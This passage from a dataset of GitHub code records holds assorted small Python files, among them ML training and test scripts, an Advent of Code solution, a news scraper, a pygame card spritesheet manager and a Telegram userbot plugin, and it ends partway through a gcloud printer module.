+{"seq_id":"41805233820","text":"from backprop.layer import Layer, OutputLayer\nimport numpy as np\nimport pytest\n\n\n# Initialize for reproduceability\nnp.random.seed(42)\n\n@pytest.mark.parametrize(\"input\", [\n    (1),\n    (2),\n    (15)\n])\ndef test_layer_has_correct_number_of_neurons(input):\n    l = Layer(input, 4)\n    assert len(l._neurons) == input\n\n@pytest.mark.parametrize(\"input\", [\n    (1),\n    (2),\n    (15)\n])\ndef test_layer_predicts_correct_number_of_outputs(input):\n    l = Layer(input, 5)\n    r = l.predict(np.arange(5))\n    assert r.shape[0] == input\n\ndef test_output_layer_has_error():\n    ol = OutputLayer(5)\n    ol._neurons[0]._weights = np.zeros(5)\n    assert ol.error(1, 1) == 0\n","repo_name":"piovere/backprop","sub_path":"tests/test_layer.py","file_name":"test_layer.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"36954526285","text":"import itertools\nfrom typing import Iterable\n\nfrom aoc20 import utils\n\n\ndef transform(subject_number: int) -> Iterable[int]:\n    value = 1\n    while True:\n        value = (value * subject_number) % 20_201_227\n        yield value\n\n\ndef crack_encryption_key(pub_key_1: int, pub_key_2: int) -> int:\n    keys = {pub_key_1, pub_key_2}\n    loop_size, value = next((i, v) for i, v in enumerate(transform(7)) if v in keys)\n    next_key = pub_key_1 if value == pub_key_2 else pub_key_2\n    return next(itertools.islice(transform(next_key), loop_size, loop_size + 1))\n\n\ndef parse_input(lines: list[str]) -> tuple[int, int]:\n    pub_key_1, pub_key_2 = [int(line) for line in lines]\n    return pub_key_1, pub_key_2\n\n\ndef main() -> None:\n    pub_keys = parse_input(utils.read_input_lines(__file__))\n    print(crack_encryption_key(*pub_keys))\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"vlasovskikh/advent-of-code-2020","sub_path":"aoc20/p25.py","file_name":"p25.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"17905530783","text":"\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.init as init\n\nimport glob\nimport json\nimport argparse\nimport os\nimport random\nimport numpy as np\nfrom time import gmtime, strftime\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom collections import Counter\n\nimport classifier\nfrom dataset_GBU import FeatDataLayer, DATA_LOADER\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--dataset', default='AWA1', help='dataset: CUB, AWA1, AWA2, SUN')\nparser.add_argument('--dataroot', default='./data', help='path to dataset')\nparser.add_argument('--validation', action='store_true', default=False, help='enable cross validation mode')\nparser.add_argument('--workers', type=int, help='number of data loading workers', default=4)\nparser.add_argument('--image_embedding', default='res101', type=str)\nparser.add_argument('--class_embedding', default='att', type=str)\n\nparser.add_argument('--nepoch', type=int, default=100, help='number of epochs to train for')\nparser.add_argument('--lr', type=float, default=0.0002, help='learning rate to train generater')\nparser.add_argument('--classifier_lr', type=float, default=0.001, help='learning rate to train softmax classifier')\nparser.add_argument('--weight_decay', type=float, default=0.001, help='weight_decay')\nparser.add_argument('--batchsize', type=int, default=64, help='input batch size')\nparser.add_argument('--nSample', type=int, default=300, help='number features to generate per class')\n\nparser.add_argument('--resume',  type=str, help='the model to resume')\nparser.add_argument('--disp_interval', type=int, default=20)\nparser.add_argument('--save_interval', type=int, default=10000)\nparser.add_argument('--evl_interval',  type=int, default=60)\nparser.add_argument('--manualSeed', type=int, help='manual seed')\n\nparser.add_argument('--latent_dim', type=int, default=10, help='dimention of latent z')\nparser.add_argument('--gh_dim',     type=int, default=4096, help='dimention of hidden layer in generator')\nparser.add_argument('--latent_var', type=float, default=1, help='variance of prior distribution z')\n\nparser.add_argument('--sigma',   type=float, default=0.1, help='variance of random noise')\nparser.add_argument('--sigma_U', type=float, default=1,   help='variance of U_tau')\nparser.add_argument('--langevin_s', type=float, default=0.1, help='s in langevin sampling')\nparser.add_argument('--langevin_step', type=int, default=5, help='langevin step in each iteration')\n\nparser.add_argument('--Z_dim', type=int, default=10, help='I added this one')\nparser.add_argument('--Knn', type=int, default=20, help='K value')\nparser.add_argument('--gpu', default='0', type=str, help='index of GPU to use')\nopt = parser.parse_args()\n\n\nif opt.manualSeed is None:\n    opt.manualSeed = random.randint(1, 10000)\nprint(\"Random Seed: \", opt.manualSeed)\nnp.random.seed(opt.manualSeed)\nrandom.seed(opt.manualSeed)\ntorch.manual_seed(opt.manualSeed)\ntorch.cuda.manual_seed_all(opt.manualSeed)\nimport torch.backends.cudnn as cudnn\ncudnn.benchmark = True\n\nprint('Running parameters:')\nprint(json.dumps(vars(opt), indent=4, separators=(',', ': ')))\n\n# our generator\nclass Conditional_Generator(nn.Module):\n    def __init__(self, opt):\n        super(Conditional_Generator, self).__init__()\n        self.main = nn.Sequential(nn.Linear(opt.C_dim + opt.Z_dim, opt.gh_dim),\n                                  nn.LeakyReLU(0.2, True),\n                                  nn.Linear(opt.gh_dim, opt.X_dim),\n                                  nn.ReLU(True))\n\n    def forward(self, c, z):\n        input = torch.cat([z, c], 1)\n        output = self.main(input)\n        return output\n\ndef train():\n    dataset = DATA_LOADER(opt)\n    opt.C_dim = dataset.att_dim\n    opt.X_dim = dataset.feature_dim\n    opt.Z_dim = opt.latent_dim\n    opt.y_dim = dataset.ntrain_class\n    opt.niter = int(dataset.ntrain/opt.batchsize) * opt.nepoch\n\n    data_layer = FeatDataLayer(dataset.train_label.numpy(), dataset.train_feature.numpy(), opt)\n    result_zsl_knn = Result()\n    result_gzsl_soft = Result()\n\n\n    netG = Conditional_Generator(opt).cuda()\n    netG.apply(weights_init)\n    print(netG)\n    train_z = torch.FloatTensor(len(dataset.train_feature), opt.Z_dim).normal_(0, opt.latent_var).cuda()\n\n\n    out_dir = 'out/{}/nSample-{}_nZ-{}_sigma-{}_langevin_s-{}_step-{}'.format(opt.dataset, opt.nSample, opt.Z_dim,\n                                                                              opt.sigma, opt.langevin_s, opt.langevin_step)\n    os.makedirs(out_dir, exist_ok=True)\n    print(\"The output dictionary is {}\".format(out_dir))\n\n    log_dir = out_dir + '/log_{}.txt'.format(opt.dataset)\n    with open(log_dir, 'w') as f:\n        f.write('Training Start:')\n        f.write(strftime(\"%a, %d %b %Y %H:%M:%S +0000\", gmtime()) + '\\n')\n\n    start_step = 0\n    if opt.resume:\n        if os.path.isfile(opt.resume):\n            print(\"=> loading checkpoint '{}'\".format(opt.resume))\n            checkpoint = torch.load(opt.resume)\n            netG.load_state_dict(checkpoint['state_dict_G'])\n            train_z = checkpoint['latent_z'].cuda()\n            start_step = checkpoint['it']\n            print(checkpoint['log'])\n        else:\n            print(\"=> no checkpoint found at '{}'\".format(opt.resume))\n\n\n    optimizerG = optim.Adam(netG.parameters(), lr=opt.lr, weight_decay=opt.weight_decay)\n    # range(start_step, opt.niter+1)\n    for it in range(start_step, opt.niter+1):\n        blobs = data_layer.forward()\n        feat_data = blobs['data']  # image data\n        labels = blobs['labels'].astype(int)  # class labels\n        idx    = blobs['idx'].astype(int)\n\n        C = np.array([dataset.train_att[i,:] for i in labels])\n        C = torch.from_numpy(C.astype('float32')).cuda()\n        X = torch.from_numpy(feat_data).cuda()\n        Z = train_z[idx].cuda()\n        optimizer_z = torch.optim.Adam([Z], lr=opt.lr, weight_decay=opt.weight_decay)\n\n        # Alternatingly update weights w and infer latent_batch z\n        for em_step in range(2):  # EM_STEP\n            # update w\n            for _ in range(1):\n                pred = netG(Z, C)\n                loss = getloss(pred, X, Z, opt)\n\n                loss.backward()\n                torch.nn.utils.clip_grad_norm_(netG.parameters(), 1)\n                optimizerG.step()\n                optimizerG.zero_grad()\n\n            # infer z\n            for _ in range(opt.langevin_step):\n                U_tau = torch.FloatTensor(Z.shape).normal_(0, opt.sigma_U).cuda()\n                pred = netG(Z, C)\n                loss = getloss(pred, X, Z, opt)\n                loss = opt.langevin_s*2/2 * loss\n\n                loss.backward()\n                torch.nn.utils.clip_grad_norm_([Z], 1)\n                optimizer_z.step()\n                optimizer_z.zero_grad()\n                if it < opt.niter/3:\n                    Z.data += opt.langevin_s * U_tau\n        # update Z \n        train_z[idx,] = Z.data\n\n        if it % opt.disp_interval == 0 and it:\n            log_text = 'Iter-[{}/{}]; loss: {:.3f}'.format(it, opt.niter, loss.item())\n            log_print(log_text, log_dir)\n\n        if it % opt.evl_interval == 0 and it:\n            netG.eval()\n            gen_feat, gen_label = synthesize_feature_test(netG, dataset, opt)\n            \"\"\" ZSL\"\"\"\n            acc = eval_zsl_knn(gen_feat.numpy(), gen_label.numpy(), dataset)\n            result_zsl_knn.update(it, acc)\n            log_print(\"{}nn Classifer: \".format(opt.Knn), log_dir)\n            log_print(\"ZSL Accuracy is {:.2f}%, Best_acc [{:.2f}% | Iter-{}]\".format(acc, result_zsl_knn.best_acc,\n                                                                             result_zsl_knn.best_iter), log_dir)\n\n            \"\"\" GZSL\"\"\"\n            # note test label need be shift with offset ntrain_class\n            train_X = torch.cat((dataset.train_feature, gen_feat), 0)\n            train_Y = torch.cat((dataset.train_label, gen_label+dataset.ntrain_class), 0)\n\n            cls = classifier.CLASSIFIER(train_X, train_Y, dataset, dataset.ntrain_class + dataset.ntest_class,\n                                        True, opt.classifier_lr, 0.5, 25, opt.nSample, True)\n            result_gzsl_soft.update_gzsl(it, cls.acc_unseen, cls.acc_seen, cls.H)\n            log_print(\"GZSL Softmax:\", log_dir)\n            log_print(\"U->T {:.2f}%  S->T {:.2f}%  H {:.2f}%  Best_H [Unseen: {:.2f}% Seen: {:.2f}% H: {:.2f}% | Iter-{}]\".format(\n                cls.acc_unseen, cls.acc_seen, cls.H,  result_gzsl_soft.best_acc_U_T, result_gzsl_soft.best_acc_S_T,\n                result_gzsl_soft.best_acc, result_gzsl_soft.best_iter), log_dir)\n\n\n            if result_zsl_knn.save_model:\n                files2remove = glob.glob(out_dir + '/Best_model_ZSL_*')\n                for _i in files2remove:\n                    os.remove(_i)\n                save_model(it, netG, train_z, opt.manualSeed, log_text,\n                           out_dir + '/Best_model_ZSL_Acc_{:.2f}.tar'.format(result_zsl_knn.acc_list[-1]))\n\n\n            if result_gzsl_soft.save_model:\n                files2remove = glob.glob(out_dir + '/Best_model_GZSL_*')\n                for _i in files2remove:\n                    os.remove(_i)\n                save_model(it, netG, train_z, opt.manualSeed, log_text,\n                           out_dir + '/Best_model_GZSL_H_{:.2f}_S_{:.2f}_U_{:.2f}.tar'.format(result_gzsl_soft.best_acc,\n                                                                                             result_gzsl_soft.best_acc_S_T,\n                                                                                             result_gzsl_soft.best_acc_U_T))\n            netG.train()\n\n        if it % opt.save_interval == 0 and it:\n            save_model(it, netG, train_z, opt.manualSeed, log_text,\n                       out_dir + '/Iter_{:d}.tar'.format(it))\n            print('Save model to ' + out_dir + '/Iter_{:d}.tar'.format(it))\n\ndef log_print(s, log):\n    print(s)\n    with open(log, 'a') as f:\n        f.write(s + '\\n')\n\ndef getloss(pred, x, z, opt):\n    loss = 1/(2*opt.sigma**2) * torch.pow(x - pred, 2).sum() + 1/2 * torch.pow(z, 2).sum()\n    loss /= x.size(0)\n    return loss\n\ndef save_model(it, netG, train_z, random_seed, log, fout):\n    torch.save({\n        'it': it + 1,\n        'state_dict_G': netG.state_dict(),\n        'latent_z': train_z,\n        'random_seed': random_seed,\n        'log': log,\n    }, fout)\n\n\ndef synthesize_feature_test(netG, dataset, opt):\n    gen_feat = torch.FloatTensor(dataset.ntest_class * opt.nSample, opt.X_dim)\n    gen_label = np.zeros([0])\n    with torch.no_grad():\n        for i in range(dataset.ntest_class):\n            text_feat = np.tile(dataset.test_att[i].astype('float32'), (opt.nSample, 1))\n            text_feat = torch.from_numpy(text_feat).cuda()\n            z = torch.randn(opt.nSample, opt.Z_dim).cuda()\n            G_sample = netG(z, text_feat)\n            gen_feat[i*opt.nSample:(i+1)*opt.nSample] = G_sample\n            gen_label = np.hstack((gen_label, np.ones([opt.nSample])*i))\n    return gen_feat, torch.from_numpy(gen_label.astype(int))\n\n\n\ndef eval_zsl_knn(gen_feat, gen_label, dataset):\n    # cosince predict K-nearest Neighbor\n    n_test_sample = dataset.test_unseen_feature.shape[0]\n    sim = cosine_similarity(dataset.test_unseen_feature, gen_feat)\n    # only count first K nearest neighbor\n    idx_mat = np.argsort(-1 * sim, axis=1)[:, 0:opt.Knn]\n    label_mat = gen_label[idx_mat.flatten()].reshape((n_test_sample,-1))\n    preds = np.zeros(n_test_sample)\n    for i in range(n_test_sample):\n        label_count = Counter(label_mat[i]).most_common(1)\n        preds[i] = label_count[0][0]\n    acc = eval_MCA(preds, dataset.test_unseen_label.numpy()) * 100\n    return acc\n\n\ndef eval_MCA(preds, y):\n    cls_label = np.unique(y)\n    acc = list()\n    for i in cls_label:\n        acc.append((preds[y == i] == i).mean())\n    return np.asarray(acc).mean()\n\n\n\nclass Result(object):\n    def __init__(self):\n        self.best_acc = 0.0\n        self.best_iter = 0.0\n        self.best_acc_S_T = 0.0\n        self.best_acc_U_T = 0.0\n        self.acc_list = []\n        self.iter_list = []\n        self.save_model = False\n\n    def update(self, it, acc):\n        self.acc_list += [acc]\n        self.iter_list += [it]\n        self.save_model = False\n        if acc > self.best_acc:\n            self.best_acc = acc\n            self.best_iter = it\n            self.save_model = True\n    def update_gzsl(self, it, acc_u, acc_s, H):\n        self.acc_list += [H]\n        self.iter_list += [it]\n        self.save_model = False\n        if H > self.best_acc:\n            self.best_acc = H\n            self.best_iter = it\n            self.best_acc_U_T = acc_u\n            self.best_acc_S_T = acc_s\n            self.save_model = True\n\n\ndef weights_init(m):\n    classname = m.__class__.__name__\n    if 'Linear' in classname:\n        init.normal_(m.weight.data,  mean=0, std=0.02)\n        init.constant_(m.bias, 0.0)\n\n\n\n\nif __name__ == \"__main__\":\n    train()\n\n","repo_name":"wenjiaXu/APN-ZSL","sub_path":"ABP/train_ABP.py","file_name":"train_ABP.py","file_ext":"py","file_size_in_byte":12943,"program_lang":"python","lang":"en","doc_type":"code","stars":63,"dataset":"github-code","pt":"21"}
+{"seq_id":"315701487","text":"from bs4 import BeautifulSoup\nimport requests\n\n_HTML_TITLE_CLASS = 'ourh'\nLXML = 'lxml'\nHTML_HREF = 'href'\n\n\ndef extract_articles(url=None):\n    \"\"\"\n    Extracts titles from Techcrunch Popular web page.\n    Extract title, short url and article content.\n    Based on URL creates a dictionary of objects. This URL serves as index\n    Currently TechMeme does not have Content field, we extract summary.\n\n    :param url:\n    :return: articles\n    \"\"\"\n    try:\n        if not url:\n            destination_url = 'https://www.techmeme.com'\n        response = requests.get(destination_url)\n        soup = BeautifulSoup(response.content, 'lxml')\n        titles_html = soup.find_all('a', class_='ourh')\n        print(len(titles_html))\n        published_dates = soup.find_all('div', class_='itc2')\n        print(len(published_dates))\n        #names_html = soup.find_all('a')\n        published_dates = [x.get('id') for x in published_dates if x.get('id')]\n        print(published_dates)\n        print('Articles found: {}'.format(len(titles_html)))\n        print('Dates found: {}'.format(len(published_dates)))\n        articles = {}\n        count = 0\n        for title in titles_html:\n            url = title.get('href')\n            if not articles.get(url):\n                print(url)\n                articles[url] = count\n                count = count + 1\n        print(len(articles))\n        print(count)\n        print(articles)\n    except Exception as e:\n        print(e)\n\n\nextract_articles()","repo_name":"gogasca/news_ml","sub_path":"utils/scripts/techmeme_check.py","file_name":"techmeme_check.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"2856551836","text":"import pandas as pd\n\ndata = pd.read_csv('https://codefinity-content-media.s3.eu-west-1.amazonaws.com/4bf24830-59ba-4418-969b-aaf8117d522e/plane', index_col = 0)\n\n# Create pivot table\ndata = pd.pivot_table(data, index = ['Airline', 'AirportFrom'],\n                     values = ['Delay', 'Length'],\n                     aggfunc = {'Length': ['min', 'max'], 'Delay': 'count'})\n\nprint(data.head(10))","repo_name":"egalibert/Ohjelmoinnin_Mooc_Jatkokurssi_2023","sub_path":"Codefinity/Pandas_Advanced/Ex3.py","file_name":"Ex3.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"12038619355","text":"from typing import Any\n\nfrom pydantic import BaseModel, Field, ValidationError, validator\nfrom pydantic.main import ModelMetaclass\n\n\nclass Test(BaseModel):\n    age_1: int = Field(alias='textlll')\n    age_2: int = Field(0, gt=10, lt=50)\n    age_3: int\n\n    @validator('age_1', allow_reuse=True)\n    @validator('age_3', allow_reuse=True)\n    # @validator('age_4', allow_reuse=True, check_fields=False)\n    def check_name_length(cls, v):\n        assert v < 20, 'error-----%s'\n        return v\n\n\nclass CustomVerify:\n    @staticmethod\n    def verify_dict(model: ModelMetaclass, data: dict) -> Any:\n        try:\n            model(**data)\n        except ValidationError as e:\n            key = e.raw_errors[0]._loc\n            error_msg = str(e.raw_errors[0].exc)\n            return error_msg % key\n\n\na = {\n    'age_1': 1,\n    'age_2': 20,\n    'age_3': 1,\n}\nprint(CustomVerify.verify_dict(Test, a))\n","repo_name":"glfAdd/note","sub_path":"python/002_note/learn_pydantic/002_正则.py","file_name":"002_正则.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"46394328264","text":"from .mixins import Navigation\nfrom tkinter.filedialog import askopenfilename\n\n\nclass Controller(Navigation):\n\n    def __init__(self):\n        super().__init__()\n\n    def transcribe_data(self, view):\n        filename = askopenfilename()\n        # add transcribe logic here\n        transcribed_data = filename ## put actual here\n        view.setvar('transcript', transcribed_data)\n        self.navigate_to_view(view, 'upload-view')\n","repo_name":"israel-dryer/woodberry-chapel-interface","sub_path":"src/controllers/home_controller.py","file_name":"home_controller.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"34708669587","text":"from flaml import AutoML\n\n\ndef _test_ray_classification():\n    from sklearn.datasets import make_classification\n    import ray\n\n    ray.init(address=\"auto\")\n    X, y = make_classification(1000, 10)\n    automl = AutoML()\n    automl.fit(X, y, time_budget=10, task=\"classification\", n_concurrent_trials=2)\n\n\nif __name__ == \"__main__\":\n    _test_ray_classification()\n","repo_name":"GqiqiPS/FLAML_distiller","sub_path":"test/ray/distribute_automl.py","file_name":"distribute_automl.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28654682102","text":"import re, os, sys\n\ndef webset(name_proj):\n    PROJ_DIR = f'/opt/projects/{name_proj}/{name_proj}/deployment'\n    VASS_DIR = '/etc/uwsgi/vassals'\n    with open(os.getcwd() + '/deployment/clear_uwsgi.ini', 'r') as template_uwsgi:\n        template_uwsgi = template_uwsgi.read()\n        with open(f'{PROJ_DIR}/{name_proj}_uwsgi.ini', 'w') as proj_uwsgi:\n            proj_uwsgi.write(re.sub('clear', name_proj, template_uwsgi))\n    \n    os.system(f'ln -s {PROJ_DIR}/{name_proj}_uwsgi.ini {VASS_DIR}/.')\n\nif __name__ == \"__main__\":\n    webset(sys.argv[1])\n","repo_name":"Vepchansky/install-2.0","sub_path":"uwsgi_settings.py","file_name":"uwsgi_settings.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"32053631604","text":"from os.path import dirname, join\n\ndef load_grid(filename):\n    grid = []\n    with open(filename, 'r') as infile:\n        while True:\n            line = infile.readline().strip()\n            if not line:\n                break\n            grid.append([int(x) for x in line.split(' ')])\n    return grid\n\ndef take_items(grid, x, y, incx, incy, num):\n    items = 0\n    res = []\n    while items < num:\n        res.append(grid[y][x])\n        y += incy\n        x += incx\n        items += 1\n    return res\n\ndef split_tuples(num, grid):\n    directions = [(1, 0), (1, 1), (0, 1), (-1, 1)]\n    max_x = len(grid[0])\n    max_y = len(grid)\n    x = y = 0\n    while y < max_y:\n        res = []\n        for inc_x, inc_y in directions:\n            # Can do it?\n            dest_x = x + inc_x * num\n            dest_y = y + inc_y * num\n            if dest_x > max_x or dest_x < 0:\n                continue\n            if dest_y > max_y or dest_y < 0:\n                continue\n            # Do it and yield\n            yield take_items(grid, x, y, inc_x, inc_y, num)\n        x += 1\n        if x == max_x:\n            x = 0\n            y += 1\n\n\ndef problem():\n    \"\"\"\n    >>> problem()\n    70600674\n    \"\"\"\n    grid = load_grid(join(dirname(__file__), '11.grid'))\n    biggest = 0\n    for pack in split_tuples(4, grid):\n        res = 1\n        for number in pack:\n            res *= number\n        if res > biggest:\n            biggest = res\n    print(biggest)\n","repo_name":"graffic/katas","sub_path":"euler/11.py","file_name":"11.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26442681479","text":"import pygame as pg\n\nfrom .spritesheet_base import Base_Sheet\nfrom builder.custom_card_base import Card\n\nfrom data.save import SAVE\nfrom data.constants import CONSTANTS, BASE_NAMES\n\nCARD_WIDTH, CARD_HEIGHT = CONSTANTS[\"card_size\"]\n\ndef to_classname(name):\n    cname = \"\"\n    for char in name.title().replace(\" \", \"_\"):\n        if char.isalnum() or char == \"_\":\n            cname += char\n            \n    if cname[0].isnumeric():\n        cname = \"_\" + cname\n\n    return cname\n    \nclass Customsheet(Base_Sheet):\n    @staticmethod\n    def get_blank_custom():\n        import os\n        if os.path.exists(\"data/img/user.png\"):\n            img = pg.image.load(\"data/img/user.png\").convert()\n        else:\n            img = pg.Surface((1, 1)).convert() \n        img = pg.transform.smoothscale(img, (CARD_WIDTH - 75, 210))\n        return img\n    \n    def __init__(self):\n        names = tuple([c[\"name\"] for c in self.cards])\n        super().__init__(names, \"data/img/customsheet.png\", (9, CARD_WIDTH, CARD_HEIGHT))\n        if self.failed_to_load():\n            self.create_blank_sheet()\n            self.restore_data()\n        for d in self.cards:\n            path = d[\"image\"]\n            self.get_card_image(path)\n            \n    @property\n    def cards(self):\n        return SAVE.get_data(\"cards\")\n            \n    def reset(self):\n        self.create_blank_sheet()\n        c = Card(**self.cards[0])\n        self.save_card(c)\n        \n    def refresh_names(self):\n        self.names = tuple([c[\"name\"] for c in self.cards])\n        \n    def refresh(self):\n        self.refresh_names()\n        self.refresh_sheet()\n    \n    def create_blank_sheet(self):\n        cards = self.cards\n        if len(cards) < 9:\n            w = CARD_WIDTH * len(cards)\n            h = CARD_HEIGHT\n        else:\n            w = CARD_WIDTH * 9\n            h = CARD_HEIGHT * ((len(cards) // 9) + 1)\n        surf = pg.Surface((w, h)).convert()\n        self.resave_sheet(surf)\n        \n    def restore_data(self):\n        data = self.cards\n        for d in data:\n            c = Card(**d)\n            self.save_card(c)\n            \n    def get_card_image(self, path):\n        loaded = False\n        try:\n            image = pg.image.load(path).convert()\n            loaded = True\n        except:\n            image = Customsheet.get_blank_custom()\n        finally:\n            if not loaded:\n                pg.image.save(image, path)\n        return image\n        \n    def get_id(self, name):\n        if name in self.names:\n            return self.names.index(name)\n            \n    def check_exists(self, card):\n        for name in BASE_NAMES:\n            if card.name.lower() == name.lower() or card.classname == to_classname(name):\n                return True\n                \n        for name in self.names:\n            if card.id != self.get_id(card.name):\n                if card.name.lower() == name.lower() or card.classname == to_classname(name):\n                    return True\n            \n    def save_card(self, card):\n        if self.check_exists(card):\n            return\n\n        id = card.id\n        cards = self.cards\n        sheet = self.sheet\n        \n        num = len(cards)\n\n        if id <= num - 1:\n            surf = sheet\n            pos = ((id % self.columns) * CARD_WIDTH, (id // self.columns) * CARD_HEIGHT)\n        elif not cards:\n            surf = pg.Surface((CARD_WIDTH, CARD_HEIGHT)).convert()\n            pos = (0, 0)\n        elif not num % self.columns:\n            surf = pg.Surface((sheet.get_width(), sheet.get_height() + CARD_HEIGHT)).convert()\n            pos = (0, sheet.get_height())\n        elif num < self.columns:\n            surf = pg.Surface((sheet.get_width() + CARD_WIDTH, CARD_HEIGHT)).convert()\n            pos = (num * CARD_WIDTH, 0)\n        else:\n            surf = pg.Surface(sheet.get_size()).convert()\n            pos = ((num % self.columns) * CARD_WIDTH, (num // self.columns) * CARD_HEIGHT)\n\n        surf.blit(sheet, (0, 0))\n        surf.blit(card.get_card_image(), pos)\n\n        pg.image.save(card.pic, card.image_path)\n        self.resave_sheet(surf)  \n        SAVE.update_cards(card.get_info())\n        self.refresh_names()\n        return True\n        \n    def del_card(self, entry):        \n        id = entry[\"id\"]\n        sheet = self.sheet\n        cards = self.cards\n        \n        if id == 0:\n            return\n            \n        if len(cards) < self.columns + 1:\n            surf = pg.Surface((sheet.get_width() - CARD_WIDTH, CARD_HEIGHT)).convert()\n            x = id * CARD_WIDTH\n            surf.blit(sheet, (0, 0), (0, 0, x, CARD_HEIGHT))\n            surf.blit(\n                sheet,\n                (x, 0),\n                (x + CARD_WIDTH, 0, sheet.get_width() - (x + CARD_WIDTH), CARD_HEIGHT)\n            )\n\n        else:\n            if (len(cards) - 1) % self.columns == 0:\n                size = (CARD_WIDTH * self.columns, sheet.get_height() - CARD_HEIGHT)\n            else:\n                size = (CARD_WIDTH * self.columns, sheet.get_height())\n                \n            surf = pg.Surface(size).convert()\n            found = False\n            \n            for row in range(sheet.get_height() // CARD_HEIGHT):\n                \n                if not found:\n                    if id // self.columns == row:           \n                        x = (id % self.columns) * CARD_WIDTH\n                        y = row * CARD_HEIGHT\n                        surf.blit(sheet, (0, y), (0, y, x, CARD_HEIGHT))\n                        surf.blit(\n                            sheet,\n                            (x, y),\n                            (x + CARD_WIDTH, y, sheet.get_width() - (x + CARD_WIDTH), CARD_HEIGHT)\n                        )\n                        found = True\n                    else:\n                        surf.blit(\n                            sheet, \n                            (0, row * CARD_HEIGHT), \n                            (0, row * CARD_HEIGHT, sheet.get_width(), CARD_HEIGHT)\n                        )\n                else:\n                    surf.blit(\n                        sheet,\n                        ((self.columns - 1) * CARD_WIDTH, (row - 1) * CARD_HEIGHT),\n                        (0, row * CARD_HEIGHT, CARD_WIDTH, CARD_HEIGHT)\n                    )\n                    surf.blit(\n                        sheet, \n                        (0, row * CARD_HEIGHT), \n                        (CARD_WIDTH, row * CARD_HEIGHT, (self.columns - 1) * CARD_WIDTH, CARD_HEIGHT)\n                    )\n        \n        self.resave_sheet(surf)\n        \nCUSTOMSHEET = Customsheet()\n","repo_name":"milkmull/Card-Game-Final","sub_path":"spritesheet/customsheet.py","file_name":"customsheet.py","file_ext":"py","file_size_in_byte":6558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35394372022","text":"# Ported from other Telegram UserBots for TeleBot//Made for TeleBot\n# Kangers, don't remove this line\n# @its_xditya\n\n\"\"\"Available Commands:\n.info\n\"\"\"\n\nimport asyncio\n\nfrom telebot import CMD_HELP\n\n\n@telebot.on(admin_cmd(pattern=\"info\"))\n@telebot.on(sudo_cmd(pattern=\"info\", allow_sudo=True))\nasync def _(event):\n    if event.fwd_from:\n        return\n    animation_interval = 0.1\n    animation_ttl = range(0, 36)\n    # input_str = event.pattern_match.group(1)\n    # if input_str == \"Visit this page to know more about TeleBot.\":\n    await eor(event, \"Thanks\")\n    animation_chars = [\"**TeleBot**\", \"[More Info](https://telegra.ph/TeleBot-07-08)\"]\n\n    for i in animation_ttl:\n        await asyncio.sleep(animation_interval)\n        await eor(event, animation_chars[i % 18])\n\n\nCMD_HELP.update({\"about\": \"➟ .info\\nUse - Get to know about your bot.\"})\n","repo_name":"xditya/TeleBot","sub_path":"telebot/plugins/about.py","file_name":"about.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":197,"dataset":"github-code","pt":"21"}
+{"seq_id":"14057953931","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport collections\nfrom typing import Mapping, Sequence\n\nfrom googlecloudsdk.api_lib.run import container_resource\nfrom googlecloudsdk.command_lib.run.printers import k8s_object_printer_util as k8s_util\nfrom googlecloudsdk.core.resource import custom_printer_base as cp\n\n\ndef _FormatSecretKeyRef(v):\n  return '{}:{}'.format(v.secretKeyRef.name, v.secretKeyRef.key)\n\n\ndef _FormatSecretVolumeSource(v):\n  if v.items:\n    return '{}:{}'.format(v.secretName, v.items[0].key)\n  else:\n    return v.secretName\n\n\ndef _FormatConfigMapKeyRef(v):\n  return '{}:{}'.format(v.configMapKeyRef.name, v.configMapKeyRef.key)\n\n\ndef _FormatConfigMapVolumeSource(v):\n  if v.items:\n    return '{}:{}'.format(v.name, v.items[0].key)\n  else:\n    return v.name\n\n\ndef GetContainer(\n    container: container_resource.Container,\n    labels: Mapping[str, str],\n    dependencies: Sequence[str],\n    is_primary: bool,\n) -> cp.Table:\n  limits = GetLimits(container)\n  return cp.Labeled([\n      ('Image', container.image),\n      ('Command', ' '.join(container.command)),\n      ('Args', ' '.join(container.args)),\n      (\n          'Port',\n          ' '.join(str(p.containerPort) for p in container.ports),\n      ),\n      ('Memory', limits['memory']),\n      ('CPU', limits['cpu']),\n      (\n          'Env vars',\n          GetUserEnvironmentVariables(container),\n      ),\n      ('Volume Mounts', GetVolumeMounts(container)),\n      ('Secrets', GetSecrets(container)),\n      ('Config Maps', GetConfigMaps(container)),\n      (\n          'Startup Probe',\n          k8s_util.GetStartupProbe(container, labels, is_primary),\n      ),\n      ('Liveness Probe', k8s_util.GetLivenessProbe(container)),\n      ('Container Dependencies', ', '.join(dependencies)),\n  ])\n\n\ndef GetContainers(record: container_resource.ContainerResource) -> cp.Table:\n  